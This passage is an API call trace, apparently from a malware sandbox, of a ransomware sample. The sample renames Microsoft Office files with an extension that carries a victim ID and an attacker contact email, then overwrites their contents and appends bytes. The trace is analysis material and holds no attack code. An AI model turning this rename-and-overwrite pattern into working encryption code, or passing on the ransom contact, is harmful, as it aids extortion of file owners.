lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2213b4b7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2da24, dwReserved0=0xb1c7496, dwReserved1=0x700cc78, cFileName="GR8GALRY.GRA.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GR8GAL~1.FIR")) returned 0x6d4f40 [0154.566] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0154.566] Sleep (dwMilliseconds=0x1) [0154.643] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM", len=0x40 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM") returned 1 [0154.643] GetProcessHeap () returned 0x630000 [0154.643] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b68) returned 0x713f7f0 [0154.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0154.643] CloseHandle (hObject=0x710) returned 1 [0154.643] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.644] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLMACRO.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XLMACR~1.FIR")) returned 0x6d52c0 [0154.644] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0154.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlmacro.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0154.645] GetProcessHeap () returned 0x630000 [0154.645] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c21) returned 0x71f4128 [0154.645] GetProcessHeap () returned 0x630000 [0154.645] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c21) returned 0x6fb7418 [0154.645] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.645] ReadFile (in: hFile=0x710, lpBuffer=0x71f4128, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f4128*, lpNumberOfBytesRead=0x433ff0c*=0x2c00, lpOverlapped=0x0) returned 1 [0154.730] GetProcessHeap () returned 0x630000 [0154.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0156.840] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.840] WriteFile (in: hFile=0x710, lpBuffer=0x6fb7418*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb7418*, lpNumberOfBytesWritten=0x433ff0c*=0x2c00, lpOverlapped=0x0) returned 1 [0156.841] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.841] WriteFile (in: hFile=0x710, lpBuffer=0x6fba017*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fba017*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0156.841] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.841] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0156.841] CloseHandle (hObject=0x710) returned 1 [0156.841] GetProcessHeap () returned 0x630000 [0156.841] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb7418 | out: hHeap=0x630000) returned 1 [0156.841] GetProcessHeap () returned 0x630000 [0156.841] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f4128 | out: hHeap=0x630000) returned 1 [0156.841] GetProcessHeap () returned 0x630000 [0156.841] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0156.841] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0156.842] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLMACRO.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x236fcfbc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2c24, dwReserved0=0xb1c7496, dwReserved1=0x71f4120, cFileName="XLMACRO.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XLMACR~1.FIR")) returned 0x6d4e40 [0156.842] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0156.842] Sleep (dwMilliseconds=0x1) [0159.029] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml") returned 1 [0159.029] GetProcessHeap () returned 0x630000 [0159.029] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c18) returned 0x707d3d0 [0159.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0159.029] CloseHandle (hObject=0x67c) returned 1 [0159.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0159.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0159.031] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0159.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1785, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0159.031] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0159.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0159.031] GetProcessHeap () returned 0x630000 [0159.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x17a1) returned 0x6fa3540 [0159.031] GetProcessHeap () returned 0x630000 [0159.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x17a1) returned 0x70825e8 [0159.031] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.031] ReadFile (in: hFile=0x67c, lpBuffer=0x6fa3540, nNumberOfBytesToRead=0x1780, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa3540*, lpNumberOfBytesRead=0x433ff0c*=0x1780, lpOverlapped=0x0) returned 1 [0159.055] GetProcessHeap () returned 0x630000 [0159.055] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176d40 [0159.055] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.055] WriteFile (in: hFile=0x67c, lpBuffer=0x70825e8*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70825e8*, lpNumberOfBytesWritten=0x433ff0c*=0x1780, lpOverlapped=0x0) returned 1 [0159.056] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.056] WriteFile (in: hFile=0x67c, lpBuffer=0x7083d67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7083d67*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0159.056] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.056] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0159.056] CloseHandle (hObject=0x67c) returned 1 [0159.056] GetProcessHeap () returned 0x630000 [0159.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70825e8 | out: hHeap=0x630000) returned 1 [0159.056] GetProcessHeap () returned 0x630000 [0159.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa3540 | out: hHeap=0x630000) returned 1 [0159.056] GetProcessHeap () returned 0x630000 [0159.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176d40 | out: hHeap=0x630000) returned 1 [0159.056] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0159.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24c01e39, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x17a9, dwReserved0=0xb1c7496, dwReserved1=0x6fa3538, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0159.057] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0159.057] Sleep (dwMilliseconds=0x1) [0159.060] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml") returned 1 [0159.060] GetProcessHeap () returned 0x630000 [0159.060] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c14) returned 0x707d3d0 [0159.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0159.060] CloseHandle (hObject=0x67c) returned 1 [0159.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0159.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0159.061] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0159.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0159.062] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0159.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0159.062] GetProcessHeap () returned 0x630000 [0159.062] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12c1) returned 0x6fa3540 [0159.062] GetProcessHeap () returned 0x630000 [0159.062] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12c1) returned 0x70fcf18 [0159.063] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.063] ReadFile (in: hFile=0x67c, lpBuffer=0x6fa3540, nNumberOfBytesToRead=0x12a0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa3540*, lpNumberOfBytesRead=0x433ff0c*=0x12a0, lpOverlapped=0x0) returned 1 [0160.519] GetProcessHeap () returned 0x630000 [0160.519] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0160.519] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.519] WriteFile (in: hFile=0x67c, lpBuffer=0x70fcf18*, nNumberOfBytesToWrite=0x12a0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70fcf18*, lpNumberOfBytesWritten=0x433ff0c*=0x12a0, lpOverlapped=0x0) returned 1 [0160.519] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.520] WriteFile (in: hFile=0x67c, lpBuffer=0x70fe1b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70fe1b7*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.520] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.520] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.520] CloseHandle (hObject=0x67c) returned 1 [0160.520] GetProcessHeap () returned 0x630000 [0160.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70fcf18 | out: hHeap=0x630000) returned 1 [0160.520] GetProcessHeap () returned 0x630000 [0160.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa3540 | out: hHeap=0x630000) returned 1 [0160.520] GetProcessHeap () returned 0x630000 [0160.520] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0160.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25a03a96, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0xb1c7496, dwReserved1=0x6fa3538, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5580 [0160.603] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0160.603] Sleep (dwMilliseconds=0x1) [0160.618] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml") returned 1 [0160.618] GetProcessHeap () returned 0x630000 [0160.618] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bf4) returned 0x707d3d0 [0160.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0160.619] CloseHandle (hObject=0x700) returned 1 [0160.619] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.620] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d54c0 [0160.620] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0160.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0160.620] GetProcessHeap () returned 0x630000 [0160.620] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x7239fd8 [0160.620] GetProcessHeap () returned 0x630000 [0160.620] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x7238ed0 [0160.621] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.621] ReadFile (in: hFile=0x700, lpBuffer=0x7239fd8, nNumberOfBytesToRead=0x1080, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7239fd8*, lpNumberOfBytesRead=0x433ff0c*=0x1080, lpOverlapped=0x0) returned 1 [0160.771] GetProcessHeap () returned 0x630000 [0160.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71771a0 [0160.771] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.771] WriteFile (in: hFile=0x700, lpBuffer=0x7238ed0*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x433ff0c, 